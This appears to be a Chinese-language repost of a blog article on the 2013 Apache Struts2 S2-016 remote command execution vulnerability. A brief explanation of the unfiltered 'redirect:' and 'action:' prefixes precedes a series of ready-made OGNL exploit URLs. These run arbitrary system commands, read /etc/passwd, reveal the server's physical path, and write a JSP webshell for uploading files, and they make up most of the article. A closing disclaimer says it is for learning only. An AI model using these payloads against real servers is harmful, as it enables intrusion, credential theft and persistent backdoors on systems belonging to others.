Struts2最新2013漏洞S-016远程命令执行

Posted LemonSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Struts2最新2013漏洞S-016远程命令执行相关的知识,希望对你有一定的参考价值。

Struts2最新2013漏洞S-016远程命令执行


漏洞原因是action的值redirect和redirectAction没有正确过滤,导致可以执行任意代码,如系统命令、上传、下载文件等。



Struts2的DefaultActionMapper支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致ongl表达式可以被执行。


官方公布的漏洞利用poc细节如下:

 

1),简单表达式,ongl表达式被求值

 

http://www.nxadmin.com/struts2/x.action?%25(3*4)

 

http://www.nxadmin.com/struts2/save.action?redirect:%25(3*4)

 

2),命令执行

 

1,http://www.nxadmin.com/struts2/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

 

2,http://www.nxadmin.com/struts2/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}

 

3,http://www.nxadmin.com/struts2/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}


命令执行:

 

http://www.nxadmin.com/struts2/login.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat’,'/etc/passwd’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

 

爆网站的物理路径:

 

http://www.nxadmin.com/struts2/login.action?redirect:${%23a%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23b%3d%23a.getRealPath(“/”),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()}

 

getshell,写入jsp一句话:

 

http://www.nxadmin.com/struts2/login.action?redirect:${%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll(“\\\\”,”/”),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e

 

以上利用方法转载自互联网,仅供学习了解struts2,不要用作非法,后果自负!

查看更多文章,关注下方二维码


以上是关于Struts2最新2013漏洞S-016远程命令执行的主要内容,如果未能解决你的问题,请参考以下文章

最新漏洞预警 | Struts2(S2-053) 远程代码执行!

struts2远程命令执行漏洞S2-045

安全通告|Struts2(S2-052)远程命令执行漏洞

[CVE-2013-2251] Apache Struts 2远程代码执行漏洞复现(第四弹)

飞视美 视频会议系统 Struts2 远程命令执行漏洞

飞视美 视频会议系统 Struts2 远程命令执行漏洞